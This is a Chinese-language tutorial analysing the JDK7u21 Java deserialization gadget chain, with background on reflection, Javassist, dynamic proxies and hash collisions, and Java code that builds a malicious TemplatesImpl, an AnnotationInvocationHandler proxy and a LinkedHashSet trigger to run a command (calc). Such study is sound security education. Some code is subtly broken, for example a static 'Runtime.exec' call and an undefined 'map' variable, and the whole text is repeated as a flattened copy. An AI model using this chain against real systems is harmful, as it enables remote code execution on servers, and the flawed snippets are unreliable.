JDK7u21反序列化漏洞分析笔记
字数 1583 2025-08-05 08:17:46

JDK7u21反序列化漏洞分析与利用教学文档

0x01 漏洞概述

JDK7u21原生gadget链是一个经典的反序列化漏洞利用链,通过精心构造的序列化数据,可以在目标系统上实现远程代码执行。该漏洞利用了Java反序列化机制中的多个特性,包括反射、动态代理、hash碰撞等技术。

0x02 前置知识

1. Java反射机制

反射是Java的重要特性,允许程序在运行时获取类的信息并操作对象:

  • 可以获取任意类的成员变量、方法和构造器信息
  • 可以无视访问权限修饰符调用方法和访问字段
  • 通过Class.forName()getMethod()getField()等方法实现

安全风险:反射可以绕过安全检查,调用任意方法,如Runtime.getRuntime().exec()

2. Javassist动态修改类

Javassist是一个处理Java字节码的类库,主要类:

  • ClassPool:CtClass对象容器
  • CtClass:表示类
  • CtMethod:表示类方法
  • CtField:表示类字段

示例:动态创建类并插入恶意代码

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("EvilClass");
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] classBytes = clazz.toBytecode();

3. Java类加载机制

类加载分为三个阶段:

  1. 加载:将.class文件加载到内存
  2. 链接:验证、准备、解析
  3. 初始化:执行静态代码块和静态变量初始化

静态类加载:发生在初始化阶段,早于其他类加载。

4. Java动态代理

动态代理通过Proxy类和InvocationHandler接口实现:

  • Proxy.newProxyInstance()创建代理对象
  • 所有代理方法调用都会转发到InvocationHandler.invoke()

关键方法:

Object invoke(Object proxy, Method method, Object[] args)

5. Hash碰撞

两个不同字符串计算得到相同的Hash值。在JDK7u21利用中,需要找到hashCode为0的字符串(如"f5a5a608")。

0x03 漏洞利用链分析

利用链整体流程

LinkedHashSet.readObject()
  -> HashMap.put()
    -> Proxy(Templates).equals(TemplatesImpl)
      -> AnnotationInvocationHandler.invoke()
        -> equalsImpl()
          -> TemplatesImpl.getOutputProperties()
            -> TemplatesImpl.newTransformer()
              -> TemplatesImpl.getTransletInstance()
                -> TemplatesImpl.defineTransletClasses()
                  -> ClassLoader.defineClass()
                    -> 恶意类静态代码块执行

关键组件分析

1. TemplatesImpl

恶意代码执行载体,需要满足以下条件:

  • _name字段不为null
  • _class字段为null
  • _bytecodes字段包含恶意类字节码
  • _tfactory为TransformerFactoryImpl实例
  • 恶意类必须是AbstractTranslet的子类

触发方法:

  • getOutputProperties()
  • newTransformer()

2. AnnotationInvocationHandler

动态代理的调用处理器,关键方法:

Object invoke(Object proxy, Method method, Object[] args) {
  if (method.getName().equals("equals")) {
    return equalsImpl(args[0]);
  }
  // ...
}

equalsImpl()会调用传入对象的所有方法,包括getOutputProperties()

3. LinkedHashSet

反序列化入口,其readObject()会调用元素的equals()方法进行比对。

0x04 漏洞利用步骤

1. 构造恶意TemplatesImpl

public static TemplatesImpl createTemplatesImpl() throws Exception {
  TemplatesImpl templates = new TemplatesImpl();
  
  // 使用Javassist构造恶意类
  ClassPool pool = ClassPool.getDefault();
  pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
  CtClass clazz = pool.get(StubTransletPayload.class.getName());
  
  // 在静态初始化块插入恶意代码
  clazz.makeClassInitializer().insertAfter("java.lang.Runtime.exec(\"calc\");");
  clazz.setName("EvilClass" + System.nanoTime());
  
  // 设置TemplatesImpl必要字段
  Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
  Reflections.setFieldValue(templates, "_name", "Pwnr");
  Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
  
  return templates;
}

2. 构造动态代理

// 创建AnnotationInvocationHandler
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
                         .getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)ctor.newInstance(Templates.class, new HashMap());

// 创建代理对象
Templates proxy = (Templates)Proxy.newProxyInstance(
  exp.class.getClassLoader(),
  new Class[]{Templates.class},
  handler
);

3. 构造触发链

// 使用LinkedHashSet作为入口
LinkedHashSet set = new LinkedHashSet();

// 添加元素,顺序很重要
set.add(templates);  // 真实TemplatesImpl对象
set.add(proxy);      // 代理对象

// 添加hash碰撞键
map.put("f5a5a608", templates);

0x05 漏洞修复

JDK通过以下方式修复此漏洞:

  1. 在AnnotationInvocationHandler构造函数中添加类型检查:
if (!type.isAnnotation() || ...) {
  throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
  1. 在getMemberMethods()中添加方法验证:
private void validateAnnotationMethods(Method[] memberMethods) {
  // 检查方法修饰符、参数、返回类型等
  if (!valid) {
    throw new AnnotationFormatError("Malformed method on an annotation type");
  }
}
  1. 修改异常处理,将return改为抛出InvalidObjectException

0x06 总结

JDK7u21反序列化漏洞利用链涉及多个Java核心技术点:

  1. 使用TemplatesImpl作为恶意代码载体
  2. 通过AnnotationInvocationHandler实现方法调用转发
  3. 利用动态代理触发equals方法调用
  4. 通过LinkedHashSet反序列化触发整个利用链
  5. 使用hash碰撞绕过HashMap的key检查

该漏洞利用链构造精巧,是学习Java反序列化漏洞的经典案例。理解此漏洞需要对Java多个底层机制有深入认识。

JDK7u21反序列化漏洞分析与利用教学文档 0x01 漏洞概述 JDK7u21原生gadget链是一个经典的反序列化漏洞利用链,通过精心构造的序列化数据,可以在目标系统上实现远程代码执行。该漏洞利用了Java反序列化机制中的多个特性,包括反射、动态代理、hash碰撞等技术。 0x02 前置知识 1. Java反射机制 反射是Java的重要特性,允许程序在运行时获取类的信息并操作对象: 可以获取任意类的成员变量、方法和构造器信息 可以无视访问权限修饰符调用方法和访问字段 通过 Class.forName() 、 getMethod() 、 getField() 等方法实现 安全风险 :反射可以绕过安全检查,调用任意方法,如 Runtime.getRuntime().exec() 。 2. Javassist动态修改类 Javassist是一个处理Java字节码的类库,主要类: ClassPool :CtClass对象容器 CtClass :表示类 CtMethod :表示类方法 CtField :表示类字段 示例:动态创建类并插入恶意代码 3. Java类加载机制 类加载分为三个阶段: 加载:将.class文件加载到内存 链接:验证、准备、解析 初始化:执行静态代码块和静态变量初始化 静态类加载 :发生在初始化阶段,早于其他类加载。 4. Java动态代理 动态代理通过 Proxy 类和 InvocationHandler 接口实现: Proxy.newProxyInstance() 创建代理对象 所有代理方法调用都会转发到 InvocationHandler.invoke() 关键方法: 5. Hash碰撞 两个不同字符串计算得到相同的Hash值。在JDK7u21利用中,需要找到hashCode为0的字符串(如"f5a5a608")。 0x03 漏洞利用链分析 利用链整体流程 关键组件分析 1. TemplatesImpl 恶意代码执行载体,需要满足以下条件: _name 字段不为null _class 字段为null _bytecodes 字段包含恶意类字节码 _tfactory 为TransformerFactoryImpl实例 恶意类必须是AbstractTranslet的子类 触发方法: getOutputProperties() newTransformer() 2. AnnotationInvocationHandler 动态代理的调用处理器,关键方法: equalsImpl() 会调用传入对象的所有方法,包括 getOutputProperties() 。 3. LinkedHashSet 反序列化入口,其 readObject() 会调用元素的 equals() 方法进行比对。 0x04 漏洞利用步骤 1. 构造恶意TemplatesImpl 2. 构造动态代理 3. 构造触发链 0x05 漏洞修复 JDK通过以下方式修复此漏洞: 在AnnotationInvocationHandler构造函数中添加类型检查: 在getMemberMethods()中添加方法验证: 修改异常处理,将return改为抛出InvalidObjectException 0x06 总结 JDK7u21反序列化漏洞利用链涉及多个Java核心技术点: 使用TemplatesImpl作为恶意代码载体 通过AnnotationInvocationHandler实现方法调用转发 利用动态代理触发equals方法调用 通过LinkedHashSet反序列化触发整个利用链 使用hash碰撞绕过HashMap的key检查 该漏洞利用链构造精巧,是学习Java反序列化漏洞的经典案例。理解此漏洞需要对Java多个底层机制有深入认识。